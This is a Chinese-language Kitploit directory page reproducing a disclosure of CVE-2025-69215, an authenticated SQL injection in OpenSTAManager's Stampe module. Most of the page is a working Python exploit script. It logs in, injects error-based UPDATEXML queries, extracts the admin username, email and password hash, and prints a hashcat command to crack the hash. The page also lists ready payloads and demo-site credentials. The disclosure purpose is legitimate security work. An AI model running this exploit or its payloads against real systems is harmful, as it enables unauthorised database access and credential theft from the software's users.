Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-69215 — CVE-2025-69215 - OpenSTAManager 在 Stampe 模块中存在 SQL 注入漏洞 | Kitploit
工具/GitHubGitHub/lukasz-rybak/cve-2025-69215
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育数据库安全
GitHublukasz-rybak/cve-2025-69215

CVE-2025-69215

CVE-2025-69215 - OpenSTAManager 在 Stampe 模块中存在 SQL 注入漏洞

查看仓库
25个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-69215:OpenSTAManager 在 Stampe 模块中存在 SQL 注入漏洞

概述

字段详情
CVE IDCVE-2025-69215
严重性高
安全公告查看公告
发现者Lukasz Rybak

受影响产品

  • devcode-it/openstamanager(版本:<= 2.9.8)

CWE 分类

  • CWE-89:SQL 命令中特殊元素的不当中和处理('SQL 注入')

详情

漏洞详情

位置

  • 文件: modules/stampe/actions.php
  • 行号: 26
  • 漏洞代码:
root@kitploit:~
case 'update':
    if (!empty(intval(post('predefined'))) && !empty(post('module'))) {
        $dbo->query('UPDATE `zz_prints` SET `predefined` = 0 WHERE `id_module` = '.post('module'));
        // ↑ 直接拼接,未使用 prepare() 进行清理
    }

根本原因

来自 POST 数据的 module 参数被直接拼接到 SQL UPDATE 查询中,未使用 prepare() 清理函数。虽然 predefined 参数通过 intval() 进行了验证,但 module 参数仅进行了 !empty() 检查,这并不能防止 SQL 注入。

漏洞模式:

root@kitploit:~
// 第25行:intval() 保护了 predefined,但 module 没有被清理!
if (!empty(intval(post('predefined'))) && !empty(post('module'))) {
    // 第26行:直接拼接 - 存在漏洞
    $dbo->query('UPDATE ... WHERE `id_module` = '.post('module'));
}

利用方式

漏洞端点

root@kitploit:~
POST /modules/stampe/actions.php

必需参数

root@kitploit:~
op=update
id_record=1
predefined=1(intval() 后必须为非零)
module=[注入载荷]
title=Test
filename=test.pdf

身份验证要求

  • 需要有效经过身份验证的会话(任何对 Stampe 模块有访问权限的用户)
  • 已验证: 具有 "Tecnici" 组访问权限的用户也可利用(不仅限于管理员!)
  • PoC: 在 https://demo.osmbusiness.it 上使用凭据 tecnico/tecnicotecnico 进行演示

利用类型

基于错误的 SQL 注入,使用 MySQL 的 EXTRACTVALUE/UPDATEXML/GTID_SUBSET 函数

概念证明

方法一:EXTRACTVALUE(MySQL 5.1+)

root@kitploit:~
POST /modules/stampe/actions.php
Content-Type: application/x-www-form-urlencoded

op=update&id_record=1&predefined=1&module=14 AND EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))&title=Test&filename=test.pdf

结果:

image

提取数据: MySQL 版本 8.3.0


方法二:GTID_SUBSET(MySQL 5.6+)

root@kitploit:~
module=14 AND GTID_SUBSET(CONCAT(0x7e,DATABASE(),0x7e),1)

结果:

image

提取数据: 数据库名称 openstamanager


方法三:UPDATEXML(MySQL 5.1+)

root@kitploit:~
module=14 AND UPDATEXML(1,CONCAT(0x7e,USER(),0x7e),1)

结果:

image

提取数据: 数据库用户 [email protected]


自动化利用

完整利用脚本: exploit_stampe_sqli.py

root@kitploit:~
#!/usr/bin/env python3
"""
SQL Injection Exploit - OpenSTAManager modules/stampe/actions.php

Usage:
    python3 exploit_stampe_sqli.py -u tecnico -p tecnicotecnico
    python3 exploit_stampe_demo.py -u admin -p admin123 --url https://custom.osm.local
"""

import requests
import re
import argparse
import sys
from html import unescape
from urllib.parse import urljoin

class StampeSQLiExploit:
    def __init__(self, base_url, username, password, verbose=False):
        self.base_url = base_url.rstrip('/')
        self.username = username
        self.password = password
        self.verbose = verbose
        self.session = requests.Session()
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0'
        })

    def login(self):
        """使用用户名和密码进行身份验证"""
        login_url = urljoin(self.base_url, '/index.php')

        if self.verbose:
            print(f"[DEBUG] 尝试登录到 {login_url}")
            print(f"[DEBUG] 用户名: {self.username}")

        # 首先,获取登录页面以建立会话
        resp = self.session.get(login_url)
        if self.verbose:
            print(f"[DEBUG] 初始 GET 状态: {resp.status_code}")

        # 发送带有 op=login 参数的登录凭据(必需!)
        login_data = {
            'username': self.username,
            'password': self.password,
            'op': 'login',  # OpenSTAManager 需要此参数
        }

        resp = self.session.post(login_url, data=login_data, allow_redirects=True)

        if self.verbose:
            print(f"[DEBUG] 登录 POST 状态: {resp.status_code}")
            print(f"[DEBUG] Cookies: {self.session.cookies.get_dict()}")

        # 检查登录是否成功
        if 'PHPSESSID' not in self.session.cookies:
            print("[-] 登录失败:未收到会话 cookie")
            return False

        # 检查是否被重定向到仪表板或仍然停留在登录页面
        if 'username' in resp.text.lower() and 'password' in resp.text.lower() and 'login' in resp.url.lower():
            print("[-] 登录失败:仍然停留在登录页面")
            if self.verbose:
                print(f"[DEBUG] 当前 URL: {resp.url}")
            return False

        print(f"[+] 以 '{self.username}' 身份成功登录")
        print(f"[+] 会话: {self.session.cookies.get('PHPSESSID')}")
        return True

    def inject(self, sql_query):
        """执行 SQL 注入载荷"""
        # 使用 UPDATEXML 代替 EXTRACTVALUE(在演示中效果更好)
        payload = f"14 AND UPDATEXML(1,CONCAT(0x7e,({sql_query}),0x7e),1)"

        target_url = urljoin(self.base_url, '/modules/stampe/actions.php')

        if self.verbose:
            print(f"[DEBUG] 目标: {target_url}")
            print(f"[DEBUG] 载荷: {payload}")

        response = self.session.post(
            target_url,
            data={
                "op": "update",
                "id_record": "1",
                "predefined": "1",
                "module": payload,
                "title": "Test",
                "filename": "test.pdf"
            }
        )

        if self.verbose:
            print(f"[DEBUG] 响应状态: {response.status_code}")
            print(f"[DEBUG] 响应长度: {len(response.text)}")

        # 首先对 HTML 实体进行反向转义
        response_text = unescape(response.text)

        # 模式 1:包含 HTML 实体或引号的 XPATH 语法错误
        # 匹配:XPATH syntax error: '~data~' 或 &#039;~data~&#039;
        xpath_match = re.search(r"XPATH syntax error:\s*['\"]?~([^~]+)~['\"]?", response_text, re.IGNORECASE)
        if xpath_match:
            result = xpath_match.group(1)
            if self.verbose:
                print(f"[DEBUG] 通过 XPATH 模式提取: {result}")
            return result

        # 模式 2:在 HTML 注释中查找(演示版将错误放在注释中)
        # <!--...XPATH syntax error: '~data~'...-->
        comment_match = re.search(r"<!--.*?XPATH syntax error:\s*['\"]?~([^~]+)~['\"]?.*?-->", response_text, re.DOTALL | re.IGNORECASE)
        if comment_match:
            result = comment_match.group(1)
            if self.verbose:
                print(f"[DEBUG] 从 HTML 注释中提取: {result}")
            return result

        # 模式 3:<code> 标签
        codes = re.findall(r'<code>(.*?)</code>', response_text, re.DOTALL)
        for code in codes:
            clean = code.strip()
            if 'XPATH syntax error' in clean or 'SQLSTATE' in clean:
                match = re.search(r"~([^~]+)~", clean)
                if match:
                    result = match.group(1)
                    if self.verbose:
                        print(f"[DEBUG] 从 <code> 中提取: {result}")
                    return result

        # 模式 4:PDOException 错误格式(如用户示例所示)
        # PDOException: SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~data~'
        pdo_match = re.search(r"PDOException:.*?XPATH syntax error:\s*['\"]?~([^~]+)~['\"]?", response_text, re.IGNORECASE | re.DOTALL)
        if pdo_match:
            result = pdo_match.group(1)
            if self.verbose:
                print(f"[DEBUG] 从 PDOException 中提取: {result}")
            return result

        # 模式 5:通用 ~...~ 标记(最后的手段)
        markers = re.findall(r'~([^~]{1,100})~', response_text)
        if markers:
            if self.verbose:
                print(f"[DEBUG] 找到通用标记: {markers}")
            # 过滤掉 HTML/CSS 垃圾
            for marker in markers:
                if marker and len(marker) > 2:
                    # 跳过常见的 HTML 模式
                    if not any(x in marker.lower() for x in ['button', 'icon', 'fa-', 'class', 'div', 'span', '<', '>']):
                        if self.verbose:
                            print(f"[DEBUG] 使用标记: {marker}")
                        return marker

        if self.verbose:
            print("[DEBUG] 未从响应中提取到数据")
            # 保存响应以便调试
            with open('/tmp/stampe_response_debug.html', 'w') as f:
                f.write(response.text)
            print("[DEBUG] 响应已保存到 /tmp/stampe_response_debug.html")

        return None

    def dump_info(self):
        """转储数据库信息"""
        queries = [
            ("数据库版本", "VERSION()"),
            ("数据库名称", "DATABASE()"),
            ("当前用户", "USER()"),
            ("管理员用户名", "SELECT username FROM zz_users WHERE idgruppo=1 LIMIT 1"),
            ("管理员邮箱", "SELECT email FROM zz_users WHERE idgruppo=1 LIMIT 1"),
            ("管理员密码哈希 (1-30)", "SELECT SUBSTRING(password,1,30) FROM zz_users WHERE idgruppo=1 LIMIT 1"),
            ("管理员密码哈希 (31-60)", "SELECT SUBSTRING(password,31,30) FROM zz_users WHERE idgruppo=1 LIMIT 1"),
            ("用户总数", "SELECT COUNT(*) FROM zz_users"),
            ("第一个表", "SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1"),
        ]

        print("="*70)
        print(" 利用 SQL 注入 - 数据提取")
        print("="*70)
        print()

        results = {}
        for desc, query in queries:
            print(f"[*] 正在提取: {desc}")
            print(f"    查询: {query}")
            result = self.inject(query)
            if result:
                print(f"    ✓ 结果: {result}")
                results[desc] = result
            else:
                print(f"    ✗ 提取失败")
            print()

        return results

def main():
    parser = argparse.ArgumentParser(
        description='OpenSTAManager Stampe 模块 SQL 注入利用工具',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog='''
示例:
  # 使用 tecnico 用户利用 demo.osmbusiness.it
  python3 %(prog)s -u tecnico -p tecnicotecnico

  # 使用管理员凭据利用演示
  python3 %(prog)s -u admin -p admin123

  # 利用自定义安装,显示详细输出
  python3 %(prog)s -u tecnico -p pass123 --url https://erp.company.com -v
        '''
    )

    parser.add_argument('-u', '--username', required=True,
                        help='用于身份验证的用户名')
    parser.add_argument('-p', '--password', required=True,
                        help='用于身份验证的密码')
    parser.add_argument('--url', default='https://demo.osmbusiness.it',
                        help='OpenSTAManager 的基础 URL(默认:https://demo.osmbusiness.it)')
    parser.add_argument('-v', '--verbose', action='store_true',
                        help='启用详细输出以便调试')

    args = parser.parse_args()

    print("╔" + "="*68 + "╗")
    print("║  SQL 注入利用 - OpenSTAManager Stampe 模块                 ║")
    print("║  待定 CVE | 经过身份验证的基于错误的 SQL 注入               ║")
    print("╚" + "="*68 + "╝")
    print()
    print(f"[*] 目标: {args.url}")
    print(f"[*] 用户名: {args.username}")
    print()

    exploit = StampeSQLiExploit(args.url, args.username, args.password, args.verbose)

    # 首先登录
    if not exploit.login():
        print("\n[-] 身份验证失败。无法继续利用。")
        print("[!] 请检查:")
        print("    1. 凭据是否正确?")
        print("    2. 目标 URL 是否可以访问?")
        print("    3. 用户账户是否激活?")
        sys.exit(1)

    print()

    # 提取数据
    results = exploit.dump_info()

    # 摘要
    print("="*70)
    print(" 提取摘要")
    print("="*70)
    print()

    if results:
        for key, value in results.items():
            print(f"  {key:.<40} {value}")

        # 如果同时获取了管理员密码哈希的两部分,则拼接
        if "管理员密码哈希 (1-30)" in results and "管理员密码哈希 (31-60)" in results:
            full_hash = results["管理员密码哈希 (1-30)"] + results["管理员密码哈希 (31-60)"]
            print()
            print("  " + "="*66)
            print(f"  完整管理员密码哈希:{full_hash}")
            print("  " + "="*66)
            print()
            print("  [!] 使用 hashcat 破解:")
            print(f"      hashcat -m 3200 '{full_hash}' wordlist.txt")
    else:
        print("  ✗ 未提取到数据")
        if not args.verbose:
            print("\n  [!] 尝试使用 -v 标志运行以获得调试信息")

if __name__ == "__main__":
    main()

致谢

由 Łukasz Rybak 报告

参考链接

  • https://github.com/devcode-it/openstamanager/security/advisories/GHSA-qx9p-w3vj-q24q
  • https://nvd.nist.gov/vuln/detail/CVE-2025-69215
  • https://github.com/advisories/GHSA-qx9p-w3vj-q24q

免责声明

此 CVE 已依照协调漏洞披露实践进行负责任的披露。此处提供的信息仅供教育和防御目的使用。

下载工具